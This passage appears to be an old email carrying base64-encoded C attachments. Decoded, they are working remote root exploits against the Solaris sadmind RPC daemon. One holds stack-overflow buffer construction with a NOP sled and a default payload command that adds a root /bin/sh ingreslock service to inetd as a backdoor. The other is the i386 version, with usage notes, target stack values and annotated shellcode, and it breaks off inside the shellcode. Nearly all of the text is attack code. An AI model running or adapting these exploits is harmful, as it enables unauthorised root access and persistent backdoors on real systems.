    ZHJfbm1fcmVwbHkoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fcmVwbHkgKm9ianAp
    DQp7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQxKSkN
    CglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAm
    b2JqcC0+dWludDIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
    X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo
    RkFMU0UpOw0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmludA0KbWFpbihp
    bnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KICAgIENMSUVOVCAqY2w7DQog
    ICAgc3RydWN0IG5tX3NlbmQgc2VuZDsNCiAgICBzdHJ1Y3Qgbm1fcmVwbHkg
    cmVwbHk7DQogICAgc3RydWN0IHRpbWV2YWwgdG07DQogICAgZW51bSBjbG50
    X3N0YXQgc3RhdDsNCiAgICBpbnQgYywgaSwgbGVuLCBzbGVuLCBjbGVuOw0K
    ICAgIGNoYXIgKnByb2dyYW0sICpjcCwgYnVmW0JVRkxFTisxXTsNCiAgICBj
    aGFyICpob3N0bmFtZSwgKmNvbW1hbmQ7DQogICAgaW50IG9mZnNldCwgYWxp
    Z25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25lZCBsb25nIGludCBz
    cCA9IDAsIGZwLCBhZGRyOw0KDQogICAgcHJvZ3JhbSA9IGFyZ3ZbMF07DQog
    ICAgaG9zdG5hbWUgPSAibG9jYWxob3N0IjsNCiAgICBjb21tYW5kID0gImVj
    aG8gaW5ncmVzbG9jayBzdHJlYW0gdGNwIG5vd2FpdCByb290IC9iaW4vc2gg
    c2ggLWkgPj4gL3RtcC9ib2I7IC91c3Ivc2Jpbi9pbmV0ZCAtcyAvdG1wL2Jv
    YiI7DQogICAgb2Zmc2V0ID0gT0ZGU0VUOyBhbGlnbm1lbnQgPSBBTElHTk1F
    TlQ7DQogICAgd2hpbGUgKChjID0gZ2V0b3B0KGFyZ2MsIGFyZ3YsICJoOmM6
    czpvOmE6cCIpKSAhPSBFT0YpIHsNCglzd2l0Y2ggKGMpIHsNCgljYXNlICdo
    JzoNCgkgICAgaG9zdG5hbWUgPSBvcHRhcmc7DQoJICAgIGJyZWFrOw0KCWNh
    c2UgJ2MnOg0KCSAgICBjb21tYW5kID0gb3B0YXJnOyANCgkgICAgYnJlYWs7
    DQoJY2FzZSAncyc6DQoJICAgIHNwID0gc3RydG91bChvcHRhcmcsIE5VTEws
    IDApOw0KCSAgICBicmVhazsNCgljYXNlICdvJzoNCgkgICAgb2Zmc2V0ID0g
    KGludCkgc3RydG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0K
    CWNhc2UgJ2EnOg0KCSAgICBhbGlnbm1lbnQgPSAoaW50KSBzdHJ0b2wob3B0
    YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAncCc6DQoJICAg
    IHBpbmdpbmcgPSAxOw0KCSAgICBicmVhazsNCglkZWZhdWx0Og0KCSAgICBm
    cHJpbnRmKHN0ZGVyciwgInVzYWdlOiAlcyAtaCBob3N0bmFtZSAtYyBjb21t
    YW5kIC1zIHNwICINCgkJICAgICJbLW8gb2Zmc2V0XSBbLWEgYWxpZ25tZW50
    XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhpdCgxKTsNCgkgICAgYnJl
    YWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVmLCAnXHhmZicsIEJVRkxF
    Tik7DQogICAgZnAgPSBzcCArIEZSQU1FTEVOMSArIEZSQU1FTEVOMjsgZnAg
    Jj0gMHhmZmZmZmZmODsNCiAgICBhZGRyID0gc3AgKyBvZmZzZXQ7IGFkZHIg
    Jj0gMHhmZmZmZmZmYzsNCiAgICBmb3IgKGkgPSAwLCBjcCA9IGJ1ZiArIGFs
    aWdubWVudDsgaSA8IEFERFJMRU4gLyA4OyBpKyspIHsNCgkqY3ArKyA9IChm
    cCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKGZwID4+IDE2KSAmIDB4ZmY7
    DQoJKmNwKysgPSAoZnAgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChmcCA+
    PiAgMCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQpICYgMHhmZjsN
    CgkqY3ArKyA9IChhZGRyID4+IDE2KSAmIDB4ZmY7DQoJKmNwKysgPSAoYWRk
    ciA+PiAgOCkgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYgMHhm
    ZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNsZW4gPSBz
    dHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gQlVGTEVOIC0gMSAtIGNsZW4g
    LSBzbGVuIC0gQUREUkxFTiAtIGFsaWdubWVudDsgbGVuICY9IDB4ZmZmZmZm
    ZmM7DQogICAgZm9yIChpID0gMDsgaSA8IGxlbiAvIDQ7IGkrKykgew0KCSpj
    cCsrID0gKE5PUCA+PiAyNCkgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAx
    NikgJiAweGZmOw0KCSpjcCsrID0gKE5PUCA+PiAgOCkgJiAweGZmOw0KCSpj
    cCsrID0gKE5PUCA+PiAgMCkgJiAweGZmOw0KICAgIH0NCiAgICBsZW4gPSBj
    bGVuOyBsZW4rKzsgbGVuID0gLWxlbjsNCiAgICBzaGVsbFtMRU4rMF0gPSAo
    bGVuID4+IDI0KSAmIDB4ZmY7DQogICAgc2hlbGxbTEVOKzFdID0gKGxlbiA+
    PiAxNikgJiAweGZmOw0KICAgIHNoZWxsW0xFTisyXSA9IChsZW4gPj4gIDgp
    ICYgMHhmZjsNCiAgICBzaGVsbFtMRU4rM10gPSAobGVuID4+ICAwKSAmIDB4
    ZmY7DQogICAgbWVtY3B5KGNwLCBzaGVsbCwgc2xlbik7IGNwICs9IHNsZW47
    DQogICAgbWVtY3B5KGNwLCBjb21tYW5kLCBjbGVuKTsNCiAgICBidWZbQlVG
    TEVOXSA9ICdcMCc7DQogICAgbWVtc2V0KCZzZW5kLCAwLCBzaXplb2Yoc3Ry
    dWN0IG5tX3NlbmQpKTsNCiAgICBzZW5kLmhlYWRlci51aW50MiA9IE5FVE1H
    VF9IRUFERVJfVFlQRTsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcxID0gIiI7
    DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMiA9ICIiOw0KICAgIHNlbmQuaGVh
    ZGVyLnN0cmluZzMgPSAiIjsNCiAgICBzZW5kLmhlYWRlci51aW50NyA9DQoJ
    c3RybGVuKEFETV9GV19WRVJTSU9OKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVu
    c2lnbmVkIGludCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihBRE1fQ0xJ
    RU5UX0RPTUFJTikgKyAxICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQp
    KSArIHN0cmxlbihidWYpICsgMSArDQoJc3RybGVuKEFETV9GRU5DRSkgKyAx
    ICsNCgkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQpKSArIHNpemVvZihpbnQp
    ICsNCglzdHJsZW4oTkVUTUdUX0VORE9GQVJHUykgKyAxOw0KICAgIHNlbmQu
    dmVyc2lvbi5zdHJpbmcxID0gQURNX0ZXX1ZFUlNJT047DQogICAgc2VuZC52
    ZXJzaW9uLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2VuZC52ZXJz
    aW9uLnVpbnQyID0gc2l6ZW9mKGludCk7DQogICAgc2VuZC52ZXJzaW9uLmlu
    dDEgPSAxOw0KICAgIHNlbmQuc3RyaW5nLnN0cmluZzEgPSBBRE1fQ0xJRU5U
    X0RPTUFJTjsNCiAgICBzZW5kLnN0cmluZy51aW50MSA9IE5FVE1HVF9BUkdf
    U1RSSU5HOw0KICAgIHNlbmQuc3RyaW5nLnVpbnQyID0gc3RybGVuKGJ1Zik7
    DQogICAgc2VuZC5zdHJpbmcuc3RyaW5nMiA9IGJ1ZjsNCiAgICBzZW5kLmZl
    bmNlLnN0cmluZzEgPSBBRE1fRkVOQ0U7DQogICAgc2VuZC5mZW5jZS51aW50
    MSA9IE5FVE1HVF9BUkdfSU5UOw0KICAgIHNlbmQuZmVuY2UudWludDIgPSBz
    aXplb2YoaW50KTsNCiAgICBzZW5kLmZlbmNlLmludDEgPSA2NjY7DQogICAg
    c2VuZC5mb290ZXIuc3RyaW5nMSA9IE5FVE1HVF9FTkRPRkFSR1M7DQogICAg
    Y2wgPSBjbG50X2NyZWF0ZShob3N0bmFtZSwgTkVUTUdUX1BST0csIE5FVE1H
    VF9WRVJTLCAidWRwIik7DQogICAgaWYgKGNsID09IE5VTEwpIHsNCgljbG50
    X3BjcmVhdGVlcnJvcigiY2xudF9jcmVhdGUiKTsNCglleGl0KDEpOw0KICAg
    IH0NCiAgICBjbC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0ZSgibG9jYWxo
    b3N0IiwgMCwgMCwgMCwgTlVMTCk7DQogICAgaWYgKCFwaW5naW5nKSB7DQoJ
    ZnByaW50ZihzdGRvdXQsDQoJCSIlJXNwIDB4JTA4bHggb2Zmc2V0ICVkIC0t
    PiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFslZF1cbiIsDQoJCXNwLCBvZmZz
    ZXQsIGFkZHIsIGFsaWdubWVudCk7DQoJZnByaW50ZihzdGRvdXQsDQoJCSIl
    JXNwIDB4JTA4bHggd2l0aCBmcmFtZSBsZW5ndGggJWQgLS0+ICUlZnAgMHgl
    MDhseFxuIiwNCgkJc3AsIEZSQU1FTEVOMSArIEZSQU1FTEVOMiwgZnApOw0K
    CXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfU0VSVklDRV9USU1FT1VUOyB0bS50
    dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElN
    RU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwg
    ImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0K
    CSAgICBleGl0KDEpOw0KCX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1NF
    UlZJQ0VfUkVUUllfVElNRU9VVDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFj
    bG50X2NvbnRyb2woY2wsIENMU0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICop
    ICZ0bSkpIHsNCgkgICAgZnByaW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxl
    ZDsgdW5hYmxlIHRvIHNldCB0aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsN
    Cgl9DQoJc3RhdCA9IGNsbnRfY2FsbChjbCwgTkVUTUdUX1BST0NfU0VSVklD
    RSwNCgkJCSB4ZHJfbm1fc2VuZCwgKGNhZGRyX3QpICZzZW5kLA0KCQkJIHhk
    cl9ubV9yZXBseSwgKGNhZGRyX3QpICZyZXBseSwgdG0pOw0KCWlmIChzdGF0
    ICE9IFJQQ19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xu
    dF9jYWxsIik7DQoJICAgIGZwcmludGYoc3Rkb3V0LCAibm93IGNoZWNrIGlm
    IGV4cGxvaXQgd29ya2VkOyAiDQoJCSAgICAiUlBDIGZhaWx1cmUgd2FzIGV4
    cGVjdGVkXG4iKTsNCgkgICAgZXhpdCgwKTsNCgl9DQoJZnByaW50ZihzdGRl
    cnIsICJleHBsb2l0IGZhaWxlZDsgIg0KCQkiUlBDIHN1Y2NlZWRlZCBhbmQg
    cmV0dXJuZWQgeyAldSwgJXUsIFwiJXNcIiB9XG4iLA0KCQlyZXBseS51aW50
    MSwgcmVwbHkudWludDIsIHJlcGx5LnN0cmluZzEpOw0KCWNsbnRfZGVzdHJv
    eShjbCk7DQoJZXhpdCgxKTsNCiAgICB9IGVsc2Ugew0KCXRtLnR2X3NlYyA9
    IE5FVE1HVF9VRFBfUElOR19USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp
    ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfVElNRU9VVCwgKGNoYXIgKikg
    JnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVk
    OyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0K
    CX0NCgl0bS50dl9zZWMgPSBORVRNR1RfVURQX1BJTkdfUkVUUllfVElNRU9V
    VDsgdG0udHZfdXNlYyA9IDA7DQoJaWYgKCFjbG50X2NvbnRyb2woY2wsIENM
    U0VUX1JFVFJZX1RJTUVPVVQsIChjaGFyICopICZ0bSkpIHsNCgkgICAgZnBy
    aW50ZihzdGRlcnIsICJleHBsb2l0IGZhaWxlZDsgdW5hYmxlIHRvIHNldCB0
    aW1lb3V0XG4iKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJc3RhdCA9IGNsbnRf
    Y2FsbChjbCwgTkVUTUdUX1BST0NfUElORywNCgkJCSB4ZHJfdm9pZCwgTlVM
    TCwNCgkJCSB4ZHJfdm9pZCwgTlVMTCwgdG0pOw0KCWlmIChzdGF0ICE9IFJQ
    Q19TVUNDRVNTKSB7DQoJICAgIGNsbnRfcGVycm9yKGNsLCAiY2xudF9jYWxs
    Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCWNsbnRfZGVzdHJveShjbCk7DQoJ
    ZXhpdCgwKTsNCiAgICB9DQp9DQo=
    
    --0-1957747793-944864183=:20191
    Content-Type: application/x-unknown-content-type-txtfile; name="sadmindex-x86.c"
    Content-Transfer-Encoding: base64
    Content-Description: sadmindex-x86.c
    Content-Disposition: attachment; filename="sadmindex-x86.c"
    
    LyoqDQoqKiogIHNhZG1pbmRleCAtIGkzODYgU29sYXJpcyByZW1vdGUgcm9v
    dCBleHBsb2l0IGZvciAvdXNyL3NiaW4vc2FkbWluZA0KKioqDQoqKiogIFRl
    c3RlZCBhbmQgY29uZmlybWVkIHVuZGVyIFNvbGFyaXMgMi42IGFuZCA3LjAg
    KGkzODYpDQoqKioNCioqKiAgVXNhZ2U6ICAlIHNhZG1pbmRleCAtaCBob3N0
    bmFtZSAtYyBjb21tYW5kIC1zIHNwIC1qIGp1bmsgWy1vIG9mZnNldF0gXA0K
    KioqICAgICAgICAgICAgICAgICAgICAgIFstYSBhbGlnbm1lbnRdIFstcF0N
    CioqKg0KKioqICB3aGVyZSBob3N0bmFtZSBpcyB0aGUgaG9zdG5hbWUgb2Yg
    dGhlIG1hY2hpbmUgcnVubmluZyB0aGUgdnVsbmVyYWJsZQ0KKioqICBzeXN0
    ZW0gYWRtaW5pc3RyYXRpb24gZGFlbW9uLCBjb21tYW5kIGlzIHRoZSBjb21t
    YW5kIHRvIHJ1biBhcyByb290DQoqKiogIG9uIHRoZSB2dWxuZXJhYmxlIG1h
    Y2hpbmUsIHNwIGlzIHRoZSAlZXNwIHN0YWNrIHBvaW50ZXIgdmFsdWUsIGp1
    bmsNCioqKiAgaXMgdGhlIG51bWJlciBvZiBieXRlcyBuZWVkZWQgdG8gZmls
    bCB0aGUgdGFyZ2V0IHN0YWNrIGZyYW1lICh3aGljaA0KKioqICBzaG91bGQg
    YmUgYSBtdWx0aXBsZSBvZiA0KSwgb2Zmc2V0IGlzIHRoZSBudW1iZXIgb2Yg
    Ynl0ZXMgdG8gYWRkIHRvDQoqKiogIHNwIHRvIGNhbGN1bGF0ZSB0aGUgZGVz
    aXJlZCByZXR1cm4gYWRkcmVzcywgYW5kIGFsaWdubWVudCBpcyB0aGUNCioq
    KiAgbnVtYmVyIG9mIGJ5dGVzIG5lZWRlZCB0byBjb3JyZWN0bHkgYWxpZ24g
    dGhlIGNvbnRlbnRzIG9mIHRoZSBleHBsb2l0DQoqKiogIGJ1ZmZlci4NCioq
    Kg0KKioqICBJZiBydW4gd2l0aCBhIC1wIG9wdGlvbiwgdGhlIGV4cGxvaXQg
    d2lsbCBvbmx5ICJwaW5nIiBzYWRtaW5kIG9uIHRoZQ0KKioqICByZW1vdGUg
    bWFjaGluZSB0byBzdGFydCBpdCBydW5uaW5nLiAgVGhlIGRhZW1vbiB3aWxs
    IGJlIG90aGVyd2lzZQ0KKioqICB1bnRvdWNoZWQuICBTaW5jZSBwaW5naW5n
    IHRoZSBkYWVtb24gZG9lcyBub3QgcmVxdWlyZSBhbiBleHBsb2l0DQoqKiog
    IGJ1ZmZlciB0byBiZSBjb25zdHJ1Y3RlZCwgeW91IGNhbiBzYWZlbHkgb21p
    dCB0aGUgLWMsIC1zLCBhbmQgLWoNCioqKiAgb3B0aW9ucyBpZiB5b3UgdXNl
    IC1wLg0KKioqDQoqKiogIFdoZW4gc3BlY2lmeWluZyBhIGNvbW1hbmQsIGJl
    IHN1cmUgdG8gcGFzcyBpdCB0byB0aGUgZXhwbG9pdCBhcyBhDQoqKiogIHNp
    bmdsZSBhcmd1bWVudCwgbmFtZWx5IGVuY2xvc2UgdGhlIGNvbW1hbmQgc3Ry
    aW5nIGluIHF1b3RlcyBpZiBpdA0KKioqICBjb250YWlucyBzcGFjZXMgb3Ig
    b3RoZXIgc3BlY2lhbCBzaGVsbCBkZWxpbWl0ZXIgY2hhcmFjdGVycy4gIFRo
    ZQ0KKioqICBleHBsb2l0IHdpbGwgcGFzcyB0aGlzIHN0cmluZyB3aXRob3V0
    IG1vZGlmaWNhdGlvbiB0byAvYmluL3NoIC1jIG9uDQoqKiogIHRoZSByZW1v
    dGUgbWFjaGluZSwgc28gYW55IG5vcm1hbGx5IGFsbG93ZWQgQm91cm5lIHNo
    ZWxsIHN5bnRheCBpcw0KKioqICBhbHNvIGFsbG93ZWQgaW4gdGhlIGNvbW1h
    bmQgc3RyaW5nLiAgVGhlIGNvbW1hbmQgc3RyaW5nIGFuZCB0aGUNCioqKiAg
    YXNzZW1ibHkgY29kZSB0byBydW4gaXQgbXVzdCBmaXQgaW5zaWRlIGEgYnVm
    ZmVyIG9mIDUxMiBieXRlcywgc28NCioqKiAgdGhlIGNvbW1hbmQgc3RyaW5n
    IGhhcyBhIG1heGltdW0gbGVuZ3RoIG9mIGFib3V0IDM5MCBieXRlcyBvciBz
    by4NCioqKg0KKioqICBJIGhhdmUgcHJvdmlkZWQgY29uZmlybWVkICVlc3Ag
    c3RhY2sgcG9pbnRlciB2YWx1ZXMgZm9yIFNvbGFyaXMgb24gYQ0KKioqICBQ
    ZW50aXVtIFBDIHN5c3RlbSBydW5uaW5nIFNvbGFyaXMgMi42IDUvOTggYW5k
    IG9uIGEgUGVudGl1bSBQQyBzeXN0ZW0NCioqKiAgcnVubmluZyBTb2xhcmlz
    IDcuMCAxMC85OC4gIE9uIGVhY2ggc3lzdGVtLCBzYWRtaW5kIHdhcyBzdGFy
    dGVkIGZyb20NCioqKiAgYW4gaW5zdGFuY2Ugb2YgaW5ldGQgdGhhdCB3YXMg
    c3RhcnRlZCBhdCBib290IHRpbWUgYnkgaW5pdC4gIFRoZXJlDQoqKiogIGlz
    IGEgZmFpciBwb3NzaWJpbGl0eSB0aGF0IHRoZSBkZW1vbnN0cmF0aW9uIHZh
    bHVlcyB3aWxsIG5vdCB3b3JrDQoqKiogIGR1ZSB0byBkaWZmZXJpbmcgc2V0
    cyBvZiBlbnZpcm9ubWVudCB2YXJpYWJsZXMsIGZvciBleGFtcGxlIGlmIHRo
    ZQ0KKioqICB0aGUgcnVubmluZyBpbmV0ZCBvbiB0aGUgcmVtb3RlIG1hY2hp
    bmUgd2FzIHN0YXJ0ZWQgbWFudWFsbHkgZnJvbSBhbg0KKioqICBpbnRlcmFj
    dGl2ZSBzaGVsbC4gIElmIHlvdSBmaW5kIHRoYXQgdGhlIHNhbXBsZSB2YWx1
    ZSBmb3IgJWVzcCBkb2VzDQoqKiogIG5vdCB3b3JrLCB0cnkgYWRqdXN0aW5n
    IHRoZSB2YWx1ZSBieSAtMjA0OCB0byAyMDQ4IGZyb20gdGhlIHNhbXBsZSBp
    bg0KKioqICBpbmNyZW1lbnRzIG9mIDMyIGZvciBzdGFydGVycy4gIFRoZSBq
    dW5rIHBhcmFtZXRlciBzZWVtcyB0byB2YXJ5IGZyb20NCioqKiAgdmVyc2lv
    biB0byB2ZXJzaW9uLCBidXQgdGhlIHNhbXBsZSB2YWx1ZXMgc2hvdWxkIGJl
    IGFwcHJvcHJpYXRlIGZvcg0KKioqICB0aGUgbGlzdGVkIHZlcnNpb25zIGFu
    ZCBhcmUgbm90IGxpa2VseSB0byBuZWVkIGFkanVzdG1lbnQuICBUaGUgb2Zm
    c2V0DQoqKiogIHBhcmFtZXRlciBhbmQgdGhlIGFsaWdubWVudCBwYXJhbWV0
    ZXIgaGF2ZSBkZWZhdWx0IHZhbHVlcyB0aGF0IHdpbGwgYmUNCioqKiAgdXNl
    ZCBpZiBubyBvdmVycmlkaW5nIHZhbHVlcyBhcmUgc3BlY2lmaWVkIG9uIHRo
    ZSBjb21tYW5kIGxpbmUuICBUaGUNCioqKiAgZGVmYXVsdCB2YWx1ZXMgc2hv
    dWxkIGJlIHN1aXRhYmxlIGFuZCBpdCB3aWxsIG5vdCBsaWtlbHkgYmUgbmVj
    ZXNzYXJ5DQoqKiogIHRvIG92ZXJyaWRlIHRoZW0uDQoqKioNCioqKiAgRGVt
    b25zdHJhdGlvbiB2YWx1ZXMgZm9yIGkzODYgU29sYXJpczoNCioqKg0KKioq
    ICAoMi42KSAgc2FkbWluZGV4IC1oIGhvc3QuZXhhbXBsZS5jb20gLWMgInRv
    dWNoIEhFSCIgLXMgMHgwODA0MThlYyAtaiA1MTINCioqKiAgKDcuMCkgIHNh
    ZG1pbmRleCAtaCBob3N0LmV4YW1wbGUuY29tIC1jICJ0b3VjaCBIRUgiIC1z
    IDB4MDgwNDE3OTggLWogNTM2DQoqKioNCioqKiAgVEhJUyBDT0RFIEZPUiBF
    RFVDQVRJT05BTCBVU0UgT05MWSBJTiBBTiBFVEhJQ0FMIE1BTk5FUg0KKioq
    DQoqKiogIENoZWV6IFdoaXoNCioqKiAgY2hlZXpiZWFzdEBob3RtYWlsLmNv
    bQ0KKioqDQoqKiogIEp1bmUgMjQsIDE5OTkNCioqLw0KDQojaW5jbHVkZSA8
    c3RkbGliLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx1bmlz
    dGQuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxycGMvcnBj
    Lmg+DQoNCiNkZWZpbmUgTkVUTUdUX1BST0cgMTAwMjMyDQojZGVmaW5lIE5F
    VE1HVF9WRVJTIDEwDQojZGVmaW5lIE5FVE1HVF9QUk9DX1BJTkcgMA0KI2Rl
    ZmluZSBORVRNR1RfUFJPQ19TRVJWSUNFIDENCg0KI2RlZmluZSBORVRNR1Rf
    VURQX1BJTkdfVElNRU9VVCAzMA0KI2RlZmluZSBORVRNR1RfVURQX1BJTkdf
    UkVUUllfVElNRU9VVCA1DQojZGVmaW5lIE5FVE1HVF9VRFBfU0VSVklDRV9U
    SU1FT1VUIDENCiNkZWZpbmUgTkVUTUdUX1VEUF9TRVJWSUNFX1JFVFJZX1RJ
    TUVPVVQgMg0KDQojZGVmaW5lIE5FVE1HVF9IRUFERVJfVFlQRSA2DQojZGVm
    aW5lIE5FVE1HVF9BUkdfSU5UIDMNCiNkZWZpbmUgTkVUTUdUX0FSR19TVFJJ
    TkcgOQ0KI2RlZmluZSBORVRNR1RfRU5ET0ZBUkdTICJuZXRtZ3RfZW5kb2Zh
    cmdzIg0KDQojZGVmaW5lIEFETV9GV19WRVJTSU9OICJBRE1fRldfVkVSU0lP
    TiINCiNkZWZpbmUgQURNX0NMSUVOVF9ET01BSU4gIkFETV9DTElFTlRfRE9N
    QUlOIg0KI2RlZmluZSBBRE1fRkVOQ0UgIkFETV9GRU5DRSINCg0KI2RlZmlu
    ZSBCVUZMRU4gMTA1NgkJLyogNTQ4KzgrNTEyLTEyICovDQojZGVmaW5lIEFE
    RFJMRU4JOA0KI2RlZmluZSBMRU4gNzYNCg0KLyogI2RlZmluZSBKVU5LIDUx
    MiAqLwkJLyogNTI0LTEyIChTb2xhcmlzIDIuNikgKi8NCi8qICNkZWZpbmUg
    SlVOSyA1MzYgKi8JCS8qIDU0OC0xMiAoU29sYXJpcyA3LjApICovDQojZGVm
    aW5lIE9GRlNFVCA1NzIJCS8qIGRlZmF1bHQgb2Zmc2V0ICovDQojZGVmaW5l
    IEFMSUdOTUVOVCAwCQkvKiBkZWZhdWx0IGFsaWdubWVudCAqLw0KDQojZGVm
    aW5lIE5PUCAweDkwDQoNCmNoYXIgc2hlbGxbXSA9DQovKiAgIDAgKi8gIlx4
    ZWJceDQ1IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgc3ByaW5n
    Ym9hcmQgICAgICAgKi8NCi8qIHN5c2NhbGw6ICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0K
    LyogICAyICovICJceDlhXHhmZlx4ZmZceGZmXHhmZlx4MDdceGZmIiAgICAg
    LyogbGNhbGwgMHg3LDB4MCAgICAgICAgICovDQovKiAgIDkgKi8gIlx4YzMi
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiByZXQgICAgICAgICAg
    ICAgICAgICAgKi8NCi8qIHN0YXJ0OiAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLw0KLyog
    IDEwICovICJceDVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog
    cG9wbCAlZXNpICAgICAgICAgICAgICovDQovKiAgMTEgKi8gIlx4MzFceGMw
    IiAgICAgICAgICAgICAgICAgICAgICAgICAvKiB4b3IgJWVheCwlZWF4ICAg
    ICAgICAgKi8NCi8qICAxMyAqLyAiXHg4OVx4NDZceGI3IiAgICAgICAgICAg
    ICAgICAgICAgIC8qIG1vdmwgJWVheCwtMHg0OSglZXNpKSAqLw0KLyogIDE2
    ICovICJceDg4XHg0Nlx4YmMiICAgICAgICAgICAgICAgICAgICAgLyogbW92
    YiAlYWwsLTB4NDQoJWVzaSkgICovDQovKiBleGVjdmU6ICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgKi8NCi8qICAxOSAqLyAiXHgzMVx4YzAiICAgICAgICAgICAgICAgICAg
    ICAgICAgIC8qIHhvciAlZWF4LCVlYXggICAgICAgICAqLw0KLyogIDIxICov
    ICJceDUwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwg
    JWVheCAgICAgICAgICAgICovDQovKiAgMjIgKi8gIlx4NTYiICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAvKiBwdXNobCAlZXNpICAgICAgICAgICAg
    Ki8NCi8qICAyMyAqLyAiXHg4Ylx4MWUiICAgICAgICAgICAgICAgICAgICAg
    ICAgIC8qIG1vdmwgKCVlc2kpLCVlYnggICAgICAqLw0KLyogIDI1ICovICJc
    eGY3XHhkYiIgICAgICAgICAgICAgICAgICAgICAgICAgLyogbmVnbCAlZWJ4
    ICAgICAgICAgICAgICovDQovKiAgMjcgKi8gIlx4ODlceGY3IiAgICAgICAg
    ICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlc2ksJWVkaSAgICAgICAgKi8N
    Ci8qICAyOSAqLyAiXHg4M1x4YzdceDEwIiAgICAgICAgICAgICAgICAgICAg
    IC8qIGFkZGwgJDB4MTAsJWVkaSAgICAgICAqLw0KLyogIDMyICovICJceDU3
    IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogcHVzaGwgJWVkaSAg
    ICAgICAgICAgICovDQovKiAgMzMgKi8gIlx4ODlceDNlIiAgICAgICAgICAg
    ICAgICAgICAgICAgICAvKiBtb3ZsICVlZGksKCVlc2kpICAgICAgKi8NCi8q
    ICAzNSAqLyAiXHg4M1x4YzdceDA4IiAgICAgICAgICAgICAgICAgICAgIC8q
    IGFkZGwgJDB4OCwlZWRpICAgICAgICAqLw0KLyogIDM4ICovICJceDg4XHg0
    N1x4ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSgl
    ZWRpKSAgICovDQovKiAgNDEgKi8gIlx4ODlceDdlXHgwNCIgICAgICAgICAg
    ICAgICAgICAgICAvKiBtb3ZsICVlZGksMHg0KCVlc2kpICAgKi8NCi8qICA0
    NCAqLyAiXHg4M1x4YzdceDAzIiAgICAgICAgICAgICAgICAgICAgIC8qIGFk
    ZGwgJDB4MywlZWRpICAgICAgICAqLw0KLyogIDQ3ICovICJceDg4XHg0N1x4
    ZmYiICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAlYWwsLTB4MSglZWRp
    KSAgICovDQovKiAgNTAgKi8gIlx4ODlceDdlXHgwOCIgICAgICAgICAgICAg
    ICAgICAgICAvKiBtb3ZsICVlZGksMHg4KCVlc2kpICAgKi8NCi8qICA1MyAq
    LyAiXHgwMVx4ZGYiICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGFkZGwg
    JWVieCwlZWRpICAgICAgICAqLw0KLyogIDU1ICovICJceDg4XHg0N1x4ZmYi
